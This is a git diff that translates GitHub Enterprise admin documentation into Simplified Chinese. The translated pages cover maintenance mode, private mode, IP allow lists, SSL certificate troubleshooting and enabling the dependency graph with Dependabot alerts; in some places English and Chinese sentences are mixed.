index 8444f9199d..5732a0c5f1 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling and scheduling maintenance mode
-intro: 'Some standard maintenance procedures, such as upgrading {% data variables.product.product_location %} or restoring backups, require the instance to be taken offline for normal use.'
+title: 启用和排定维护模式
+intro: '一些标准维护程序（例如升级 {% data variables.product.product_location %} 或还原备份）要求实例进入脱机状态才能正常使用。'
 redirect_from:
   - /enterprise/admin/maintenance-mode
   - /enterprise/admin/categories/maintenance-mode
@@ -19,47 +19,44 @@ topics:
   - Fundamentals
   - Maintenance
   - Upgrades
-shortTitle: Configure maintenance mode
+shortTitle: 配置维护模式
 ---
-## About maintenance mode
 
-Some types of operations require that you take {% data variables.product.product_location %} offline and put it into maintenance mode:
-- Upgrading to a new version of {% data variables.product.prodname_ghe_server %}
-- Increasing CPU, memory, or storage resources allocated to the virtual machine
-- Migrating data from one virtual machine to another
-- Restoring data from a {% data variables.product.prodname_enterprise_backup_utilities %} snapshot
-- Troubleshooting certain types of critical application issues
+## 关于维护模式
 
-We recommend that you schedule a maintenance window for at least 30 minutes in the future to give users time to prepare. When a maintenance window is scheduled, all users will see a banner when accessing the site.
+某些操作类型要求您让 {% data variables.product.product_location %} 进入脱机状态并将其置于维护模式：
+- 升级到新版本的 {% data variables.product.prodname_ghe_server %}
+- 增加分配给虚拟机的 CPU、内存或存储资源
+- 将数据从一台虚拟机迁移到另一台虚拟机
+- 通过 {% data variables.product.prodname_enterprise_backup_utilities %} 快照还原数据
+- 排查某些类型的关键应用程序问题
 
-![End user banner about scheduled maintenance](/assets/images/enterprise/maintenance/maintenance-scheduled.png)
+我们建议您至少将维护窗口排定在 30 分钟后，以便用户提前作好准备。 排定维护窗口后，所有用户在访问站点时都会看到横幅。
 
-When the instance is in maintenance mode, all normal HTTP and Git access is refused. Git fetch, clone, and push operations are also rejected with an error message indicating that the site is temporarily unavailable. GitHub Actions jobs will not be executed. Visiting the site in a browser results in a maintenance page.
+![关于已排定维护的最终用户横幅](/assets/images/enterprise/maintenance/maintenance-scheduled.png)
 
-![The maintenance mode splash screen](/assets/images/enterprise/maintenance/maintenance-mode-maintenance-page.png)
+在实例进入维护模式后，所有正常 HTTP 和 Git 访问都会遭到拒绝。 Git 提取、克隆和推送操作也会被拒绝，并显示一条错误消息，指示站点暂时不可用。 GitHub Actions 作业不会执行。 在浏览器中访问该站点会显示维护页面。
 
-## Enabling maintenance mode immediately or scheduling a maintenance window for a later time
+![维护模式启动屏幕](/assets/images/enterprise/maintenance/maintenance-mode-maintenance-page.png)
+
+## 立即启用维护模式或排定在未来的某个时间进行维护
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-2. At the top of the {% data variables.enterprise.management_console %}, click **Maintenance**.
-  ![Maintenance tab](/assets/images/enterprise/management-console/maintenance-tab.png)
-3. Under "Enable and schedule", decide whether to enable maintenance mode immediately or to schedule a maintenance window for a future time.
-    - To enable maintenance mode immediately, use the drop-down menu and click **now**.
-    ![Drop-down menu with the option to enable maintenance mode now selected](/assets/images/enterprise/maintenance/enable-maintenance-mode-now.png)
-    - To schedule a maintenance window for a future time, use the drop-down menu and click a start time.
-    ![Drop-down menu with the option to schedule a maintenance window in two hours selected](/assets/images/enterprise/maintenance/schedule-maintenance-mode-two-hours.png)
-4. Select **Enable maintenance mode**.
-  ![Checkbox for enabling or scheduling maintenance mode](/assets/images/enterprise/maintenance/enable-maintenance-mode-checkbox.png)
+2. 在 {% data variables.enterprise.management_console %} 顶部，单击 **Maintenance**。 ![Maintenance 选项卡](/assets/images/enterprise/management-console/maintenance-tab.png)
+3. 在“Enable and schedule”下，决定立即启用维护模式还是排定在未来的某个时间进行维护。
+    - 要立即启用维护模式，请使用下拉菜单，然后单击 **now**。 ![包含已选择立即启用维护模式的选项的下拉菜单](/assets/images/enterprise/maintenance/enable-maintenance-mode-now.png)
+    - 要排定在未来的某个时间进行维护，请使用下拉菜单，然后单击开始时间。 ![包含已选择排定在两小时后进行维护的选项的下拉菜单](/assets/images/enterprise/maintenance/schedule-maintenance-mode-two-hours.png)
+4. 选择 **Enable maintenance mode**。 ![启用或排定维护模式的复选框](/assets/images/enterprise/maintenance/enable-maintenance-mode-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Scheduling maintenance mode with {% data variables.product.prodname_enterprise_api %}
+## 通过 {% data variables.product.prodname_enterprise_api %} 排定维护模式
 
-You can schedule maintenance for different times or dates with {% data variables.product.prodname_enterprise_api %}. For more information, see "[Management Console](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#enable-or-disable-maintenance-mode)."
+您可以通过 {% data variables.product.prodname_enterprise_api %} 排定在其他时间或日期进行维护。 更多信息请参阅“[管理控制台](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#enable-or-disable-maintenance-mode)”。
 
-## Enabling or disabling maintenance mode for all nodes in a cluster
+## 为集群中的所有节点启用或禁用维护模式
 
-With the `ghe-cluster-maintenance` utility, you can set or unset maintenance mode for every node in a cluster.
+您可以通过 `ghe-cluster-maintenance` 实用程序为集群中的每个节点设置或取消设置维护模式。
 
 ```shell
 $ ghe-cluster-maintenance -h
diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
index a4343fa9a8..3848863523 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling private mode
-intro: 'In private mode, {% data variables.product.prodname_ghe_server %} requires every user to sign in to access the installation.'
+title: 启用私有模式
+intro: '在私有模式下，{% data variables.product.prodname_ghe_server %} 要求每个用户必须登录才能访问安装。'
 redirect_from:
   - /enterprise/admin/articles/private-mode
   - /enterprise/admin/guides/installation/security
@@ -21,15 +21,15 @@ topics:
   - Privacy
   - Security
 ---
-You must enable private mode if {% data variables.product.product_location %} is publicly accessible over the Internet. In private mode, users cannot anonymously clone repositories over `git://`. If built-in authentication is also enabled, an administrator must invite new users to create an account on the instance. For more information, see "[Using built-in authentication](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-built-in-authentication)."
+
+如果 {% data variables.product.product_location %} 可通过 Internet 公开访问，您必须启用私有模式。 在私有模式下，用户不能通过 `git://` 匿名克隆仓库。 如果还启用了内置身份验证，管理员必须邀请新用户在实例上创建帐户。 更多信息请参阅“[使用内置身份验证](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-built-in-authentication)”。
 
 {% data reusables.enterprise_installation.image-urls-viewable-warning %}
 
-With private mode enabled, you can allow unauthenticated Git operations (and anyone with network access to {% data variables.product.product_location %}) to read a public repository's code on your instance with anonymous Git read access enabled. For more information, see "[Allowing admins to enable anonymous Git read access to public repositories](/enterprise/{{ currentVersion }}/admin/guides/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories)."
+启用私有模式后，您可以允许未验证的 Git 操作（以及对 {% data variables.product.product_location %} 具有网络访问权限的任何人）读取已启用匿名 Git 读取权限的实例上的公共仓库代码。 更多信息请参阅“[允许管理员启用对公共仓库的匿名 Git 读取权限](/enterprise/{{ currentVersion }}/admin/guides/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories)”。
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-4. Select **Private mode**.
-  ![Checkbox for enabling private mode](/assets/images/enterprise/management-console/private-mode-checkbox.png)
+4. 选择 **Private mode**。 ![启用私有模式的复选框](/assets/images/enterprise/management-console/private-mode-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/index.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/index.md
index ff4c39c4da..0b5d698556 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/index.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring your enterprise
-intro: 'After {% data variables.product.product_name %} is up and running, you can configure your enterprise to suit your organization''s needs.'
+title: 配置企业
+intro: '在 {% data variables.product.product_name %} 启动并运行后，您可以配置企业适应组织需求。'
 redirect_from:
   - /enterprise/admin/guides/installation/basic-configuration
   - /enterprise/admin/guides/installation/administrative-tools
@@ -35,6 +35,6 @@ children:
   - /configuring-github-pages-for-your-enterprise
   - /configuring-the-referrer-policy-for-your-enterprise
   - /configuring-custom-footers
-shortTitle: Configure your enterprise
+shortTitle: 配置企业
 ---
 
diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
index f24c20e6b8..5d5911b6e7 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Restricting network traffic to your enterprise
-shortTitle: Restricting network traffic
-intro: You can use an IP allow list to restrict access to your enterprise to connections from specified IP addresses.
+title: 限制到企业的网络流量
+shortTitle: 限制网络流量
+intro: 您可以使用 IP 允许列表将企业访问权限限制为来自指定 IP 地址的连接。
 versions:
   ghae: '*'
 type: how_to
@@ -14,21 +14,22 @@ topics:
 redirect_from:
   - /admin/configuration/restricting-network-traffic-to-your-enterprise
 ---
-## About IP allow lists
 
-By default, authorized users can access your enterprise from any IP address. Enterprise owners can restrict access to assets owned by organizations in an enterprise account by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
+## 关于 IP 允许列表
+
+默认情况下，授权用户可以从任何 IP 地址访问您的企业。 企业所有者可以通过为特定 IP 地址配置允许列表，来限制对企业帐户中组织拥有的资产的访问。 {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
 
-{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} 
+{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %}
 
-You can also configure allowed IP addresses for an individual organization. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
+您还可以为单个组织配置允许的 IP 地址。 更多信息请参阅“[管理组织允许的 IP 地址](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)”。
 
-By default, Azure network security group (NSG) rules leave all inbound traffic open on ports 22, 80, 443, and 25. Enterprise owners can contact {% data variables.contact.github_support %} to configure access restrictions for your instance.
+默认情况下，Azure 网络安全组 (NSG) 规则允许所有入站流量在端口 22、80、443 和 25 打开。 企业所有者可以联系 {% data variables.contact.github_support %} 配置您实例的访问限制。
 
-For instance-level restrictions using Azure NSGs, contact {% data variables.contact.github_support %} with the IP addresses that should be allowed to access your enterprise instance. Specify address ranges using the standard CIDR (Classless Inter-Domain Routing) format. {% data variables.contact.github_support %} will configure the appropriate firewall rules for your enterprise to restrict network access over HTTP, SSH, HTTPS, and SMTP. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
+对于使用 Azure NSG 的实例级限制，请联系 {% data variables.contact.github_support %} 以获取应允许访问您的企业实例的 IP 地址。 使用标准 CIDR（无类域间路由）格式指定地址范围。 {% data variables.contact.github_support %} 将为您的企业配置合适的防火墙规则，以限制 HTTP、SSH、HTTPS 和 SMTP 网络访问。 更多信息请参阅“[从 {% data variables.contact.github_support %} 获取帮助](/admin/enterprise-support/receiving-help-from-github-support)”。
 
-## Adding an allowed IP address
+## 添加允许的 IP 地址
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -37,20 +38,19 @@ For instance-level restrictions using Azure NSGs, contact {% data variables.cont
 {% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
 
-## Allowing access by {% data variables.product.prodname_github_apps %}
+## 允许 {% data variables.product.prodname_github_apps %} 访问
 
 {% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %}
 
-## Enabling allowed IP addresses
+## 启用允许的 IP 地址
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-1. Under "IP allow list", select **Enable IP allow list**.
-  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
-4. Click **Save**.
+1. 在“IP allow list（IP 允许列表）”下，选择 **Enable IP allow list（启用 IP 允许列表）**。 ![允许 IP 地址的复选框](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
+4. 单击 **Save（保存）**。
 
-## Editing an allowed IP address
+## 编辑允许的 IP 地址
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -58,9 +58,9 @@ For instance-level restrictions using Azure NSGs, contact {% data variables.cont
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
-8. Click **Update**.
+8. 单击 **Update（更新）**。
 
-## Deleting an allowed IP address
+## 删除允许的 IP 地址
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -68,6 +68,6 @@ For instance-level restrictions using Azure NSGs, contact {% data variables.cont
 {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
 
-## Using {% data variables.product.prodname_actions %} with an IP allow list
+## 对 {% data variables.product.prodname_actions %} 使用 IP 允许列表
 
 {% data reusables.github-actions.ip-allow-list-self-hosted-runners %}
diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md
index 40a22785f7..e79745d96e 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting SSL errors
-intro: 'If you run into SSL issues with your appliance, you can take actions to resolve them.'
+title: 排查 SSL 错误
+intro: 如果您的设备遇到 SSL 问题，可以采取相应措施加以解决。
 redirect_from:
   - /enterprise/admin/articles/troubleshooting-ssl-errors
   - /enterprise/admin/categories/dns-ssl-and-subdomain-configuration
@@ -17,65 +17,66 @@ topics:
   - Networking
   - Security
   - Troubleshooting
-shortTitle: Troubleshoot SSL errors
+shortTitle: 排查 SSL 错误
 ---
-## Removing the passphrase from your key file
 
-If you have a Linux machine with OpenSSL installed, you can remove your passphrase.
+## 将密码从密钥文件中移除
 
-1. Rename your original key file.
+如果您的 Linux 机器上安装了 OpenSSL，可以移除密码。
+
+1. 重命名原始密钥文件。
   ```shell
   $ mv yourdomain.key yourdomain.key.orig
   ```
-2. Generate a new key without a passphrase.
+2. 生成不含密码的新密钥。
   ```shell
   $ openssl rsa -in yourdomain.key.orig -out yourdomain.key
   ```
 
-You'll be prompted for the key's passphrase when you run this command.
+运行此命令时系统会提示您输入密钥的密码。
 
-For more information about OpenSSL, see [OpenSSL's documentation](https://www.openssl.org/docs/).
+关于 OpenSSL 的更多信息，请参阅 [OpenSSL 的文档](https://www.openssl.org/docs/)。
 
-## Converting your SSL certificate or key into PEM format
+## 将 SSL 证书或密钥转换为 PEM 格式
 
-If you have OpenSSL installed, you can convert your key into PEM format by using the `openssl` command. For example, you can convert a key from DER format into PEM format.
+如果安装了 OpenSSL，您可以使用 `openssl` 命令将密钥转换为 PEM 格式。 例如，您可以将密钥从 DER 格式转换为 PEM 格式。
 
 ```shell
 $ openssl rsa -in yourdomain.der -inform DER -out yourdomain.key -outform PEM
 ```
 
-Otherwise, you can use the SSL Converter tool to convert your certificate into the PEM format. For more information, see the [SSL Converter tool's documentation](https://www.sslshopper.com/ssl-converter.html).
+否则，可以使用 SSL Converter 工具将证书转换为 PEM 格式。 更多信息请参阅 [SSL Converter 工具文档](https://www.sslshopper.com/ssl-converter.html)。
 
-## Unresponsive installation after uploading a key
+## 上传密钥后安装无响应
 
-If {% data variables.product.product_location %} is unresponsive after uploading an SSL key, please [contact {% data variables.product.prodname_enterprise %} Support](https://enterprise.github.com/support) with specific details, including a copy of your SSL certificate.
+如果上传 SSL 密钥后 {% data variables.product.product_location %} 无响应，请[联系 {% data variables.product.prodname_enterprise %} Support](https://enterprise.github.com/support) 并提供具体的详细信息，并附上您的 SSL 证书的副本。
 
-## Certificate validity errors
+## 证书有效性错误
 
-Clients such as web browsers and command-line Git will display an error message if they cannot verify the validity of an SSL certificate. This often occurs with self-signed certificates as well as "chained root" certificates issued from an intermediate root certificate that is not recognized by the client.
+如果 Web 浏览器和命令行 Git 等客户端无法验证 SSL 证书的有效性，则会显示错误消息。 这种情况通常发生在自签名证书以及由不被客户端承认的中间根证书颁发的“链式根”证书上。
 
-If you are using a certificate signed by a certificate authority (CA), the certificate file that you upload to {% data variables.product.prodname_ghe_server %} must include a certificate chain with that CA's root certificate. To create such a file, concatenate your entire certificate chain (or "certificate bundle") onto the end of your certificate, ensuring that the principal certificate with your hostname comes first. On most systems you can do this with a command similar to:
+如果您要使用由证书颁发机构 (CA) 签名的证书，那么您上传到 {% data variables.product.prodname_ghe_server %} 的证书文件必须包含具有该 CA 的根证书的证书链。 要创建此类文件，请将整个证书链（“或证书包”）连接到证书末端，确保包含主机名的主要证书在前。 在大多数系统中，您可以使用与下列命令相似的命令来执行此操作：
 
 ```shell
 $ cat yourdomain.com.crt bundle-certificates.crt > yourdomain.combined.crt
 ```
 
-You should be able to download a certificate bundle (for example, `bundle-certificates.crt`) from your certificate authority or SSL vendor.
+您可以从证书颁发机构或 SSL 供应商处下载证书包（例如 `bundle-certificates.crt`）。
 
-## Installing self-signed or untrusted certificate authority (CA) root certificates
+## 安装自签名或不受信任的证书颁发机构 (CA) 根证书
 
-If your {% data variables.product.prodname_ghe_server %} appliance interacts with other machines on your network that use a self-signed or untrusted certificate, you will need to import the signing CA's root certificate into the system-wide certificate store in order to access those systems over HTTPS.
+如果您的 {% data variables.product.prodname_ghe_server %} 设备与网络中使用自签名或不受信证书的其他机器进行交互，您需要将签名 CA 的根证书导入到系统范围的证书库中，以通过 HTTPS 访问这些系统。
 
-1. Obtain the CA's root certificate from your local certificate authority and ensure it is in PEM format.
-2. Copy the file to your {% data variables.product.prodname_ghe_server %} appliance over SSH as the "admin" user on port 122.
+1. 从本地证书颁发机构获取 CA 的根证书并确保其为 PEM 格式。
+2. 以“admin”用户身份在端口 122 上通过 SSH 将文件复制到您的 {% data variables.product.prodname_ghe_server %} 设备。
   ```shell
   $ scp -P 122 rootCA.crt admin@HOSTNAME:/home/admin
   ```
-3. Connect to the {% data variables.product.prodname_ghe_server %} administrative shell over SSH as the "admin" user on port 122.
+3. 以“admin”用户身份在端口 122 上通过 SSH 连接到 {% data variables.product.prodname_ghe_server %} 管理 shell。
   ```shell
   $ ssh -p 122 admin@HOSTNAME
   ```
-4. Import the certificate into the system-wide certificate store.
+4. 将证书导入到系统范围的证书库中。
   ```shell
   $ ghe-ssl-ca-certificate-install -c rootCA.crt
   ```
diff --git a/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md b/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
index 27ad1a6dcc..998fce6da0 100644
--- a/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
+++ b/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
@@ -1,6 +1,7 @@
 ---
 title: Enabling the dependency graph and Dependabot alerts on your enterprise account
 intro: 'You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %} and enable the dependency graph and  {% data variables.product.prodname_dependabot_alerts %} in repositories in your instance.'
+miniTocMaxHeadingLevel: 3
 shortTitle: Enable dependency analysis
 redirect_from:
   - /enterprise/admin/installation/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server
@@ -20,7 +21,8 @@ topics:
   - Dependency graph
   - Dependabot
 ---
-## About alerts for vulnerable dependencies on {% data variables.product.product_location %}
+
+## 关于 {% data variables.product.product_location %} 上易受攻击的依赖项的警报
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 
@@ -33,45 +35,49 @@ For more information about these features, see "[About the dependency graph](/gi
 
 ### About synchronization of data from the {% data variables.product.prodname_advisory_database %}
 
-{% data reusables.repositories.tracks-vulnerabilities %} 
+{% data reusables.repositories.tracks-vulnerabilities %}
 
-You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_github_connect %}. Once connected, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. You can also choose to manually sync vulnerability data at any time. No code or information about code from {% data variables.product.product_location %} is uploaded to {% data variables.product.prodname_dotcom_the_website %}.
+You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_github_connect %}. Once connected, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. 您还可以随时选择手动同步漏洞数据。 代码和关于代码的信息不会从 {% data variables.product.product_location %} 上传到 {% data variables.product.prodname_dotcom_the_website %}。
 
 Only {% data variables.product.company_short %}-reviewed advisories are synchronized. {% data reusables.security-advisory.link-browsing-advisory-db %}
 
+### About scanning of repositories with synchronized data from the {% data variables.product.prodname_advisory_database %}
+
+For repositories with {% data variables.product.prodname_dependabot_alerts %} enabled, scanning is triggered on any push to the default branch that contains a manifest file or lock file. Additionally, when a new vulnerability record is added to the instance, {% data variables.product.prodname_ghe_server %} scans all existing repositories in that instance and generates alerts for any repository that is vulnerable. For more information, see "[Detection of vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#detection-of-vulnerable-dependencies)."
+
+
 ### About generation of {% data variables.product.prodname_dependabot_alerts %}
 
 If you enable vulnerability detection, when {% data variables.product.product_location %} receives information about a vulnerability, it identifies repositories in your instance that use the affected version of the dependency and generates {% data variables.product.prodname_dependabot_alerts %}. You can choose whether or not to notify users automatically about new {% data variables.product.prodname_dependabot_alerts %}.
 
 ## Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies on {% data variables.product.product_location %}
 
-### Prerequisites
+### 基本要求
 
 For {% data variables.product.product_location %} to detect vulnerable dependencies and generate {% data variables.product.prodname_dependabot_alerts %}:
-- You must connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghae %}This also enables the dependency graph service. {% endif %}{% ifversion ghes or ghae %}For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."{% endif %}
+- 您必须将 {% data variables.product.product_location %} 连接到 {% data variables.product.prodname_dotcom_the_website %}。 {% ifversion ghae %}This also enables the dependency graph service. {% endif %}{% ifversion ghes or ghae %}For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."{% endif %}
 {% ifversion ghes %}- You must enable the dependency graph service.{% endif %}
 - You must enable vulnerability scanning.
 
 {% ifversion ghes %}
 {% ifversion ghes > 3.1 %}
-You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend you follow the {% data variables.enterprise.management_console %} route unless {% data variables.product.product_location %} uses clustering. 
+您可以通过 {% data variables.enterprise.management_console %} 或管理 shell 启用依赖关系图。 我们建议您遵循 {% data variables.enterprise.management_console %} 路线，除非 {% data variables.product.product_location %} 使用集群。
 
-### Enabling the dependency graph via the {% data variables.enterprise.management_console %}
+### 通过 {% data variables.enterprise.management_console %} 启用依赖关系图
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.advanced-security-tab %}
-1. Under "Security," click **Dependency graph**.
-![Checkbox to enable or disable the dependency graph](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png)
+1. 在“Security（安全）”下，单击 **Dependency graph（依赖关系图）**。 ![启用或禁用依赖关系图的复选框](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
-1. Click **Visit your instance**.
+1. 单击 **Visit your instance（访问您的实例）**。
 
-### Enabling the dependency graph via the administrative shell
+### 通过管理 shell 启用依赖关系图
 {% endif %}{% ifversion ghes < 3.2 %}
-### Enabling the dependency graph
+### 启用依赖关系图
 {% endif %}
 {% data reusables.enterprise_site_admin_settings.sign-in %}
-1. In the administrative shell, enable the dependency graph on {% data variables.product.product_location %}:
+1. 在管理 shell 中，启用 {% data variables.product.product_location %} 上的依赖关系图：
     {% ifversion ghes > 3.1 %}```shell
     ghe-config app.dependency-graph.enabled true
     ```
@@ -84,28 +90,27 @@ You can enable the dependency graph via the {% data variables.enterprise.managem
    **Note**: For more information about enabling access to the administrative shell via SSH, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/configuration/accessing-the-administrative-shell-ssh)."
 
    {% endnote %}
-2. Apply the configuration.
+2. 应用配置。
     ```shell
     $ ghe-config-apply
     ```
-3. Return to {% data variables.product.prodname_ghe_server %}.
+3. 返回到 {% data variables.product.prodname_ghe_server %}。
 {% endif %}
 
-### Enabling {% data variables.product.prodname_dependabot_alerts %}
+### 启用 {% data variables.product.prodname_dependabot_alerts %}
 
 {% ifversion ghes %}
-Before enabling {% data variables.product.prodname_dependabot_alerts %} for your instance, you need to enable the dependency graph. For more information, see above.
+在为您的实例启用 {% data variables.product.prodname_dependabot_alerts %} 之前，您需要启用依赖关系图。 更多信息请参阅上文。
 {% endif %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {%- ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}
 {% data reusables.enterprise-accounts.github-connect-tab %}
-1. Under "Repositories can be scanned for vulnerabilities", select the drop-down menu and click **Enabled without notifications**. Optionally, to enable alerts with notifications, click **Enabled with notifications**.
-   ![Drop-down menu to enable scanning repositories for vulnerabilities](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png)
+1. Under "Repositories can be scanned for vulnerabilities", select the drop-down menu and click **Enabled without notifications**. Optionally, to enable alerts with notifications, click **Enabled with notifications**. ![用于启用扫描仓库有无漏洞的下拉菜单](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png)
 
    {% tip %}
-   
-   **Tip**: We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of emails. After a few days, you can enable notifications to receive {% data variables.product.prodname_dependabot_alerts %} as usual.
+
+   **Tip**: We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of emails. 几天后，您可以开启通知，像往常一样接收 {% data variables.product.prodname_dependabot_alerts %}。
 
    {% endtip %}
 
@@ -113,12 +118,10 @@ Before enabling {% data variables.product.prodname_dependabot_alerts %} for your
 When you enable {% data variables.product.prodname_dependabot_alerts %}, you should consider also setting up {% data variables.product.prodname_actions %} for {% data variables.product.prodname_dependabot_security_updates %}. This feature allows developers to fix vulnerabilities in their dependencies. For more information, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)."
 {% endif %}
 
-## Viewing vulnerable dependencies on {% data variables.product.product_location %}
+## 查看 {% data variables.product.product_location %} 上易受攻击的依赖项
 
-You can view all vulnerabilities in {% data variables.product.product_location %} and manually sync vulnerability data from {% data variables.product.prodname_dotcom_the_website %} to update the list.
+您可以查看 {% data variables.product.product_location %} 中的所有漏洞，然后手动同步 {% data variables.product.prodname_dotcom_the_website %} 中的漏洞数据，以更新列表。
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-2. In the left sidebar, click **Vulnerabilities**.
-  ![Vulnerabilities tab in the site admin sidebar](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png)
-3. To sync vulnerability data, click **Sync Vulnerabilities now**.
-  ![Sync vulnerabilities now button](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png)
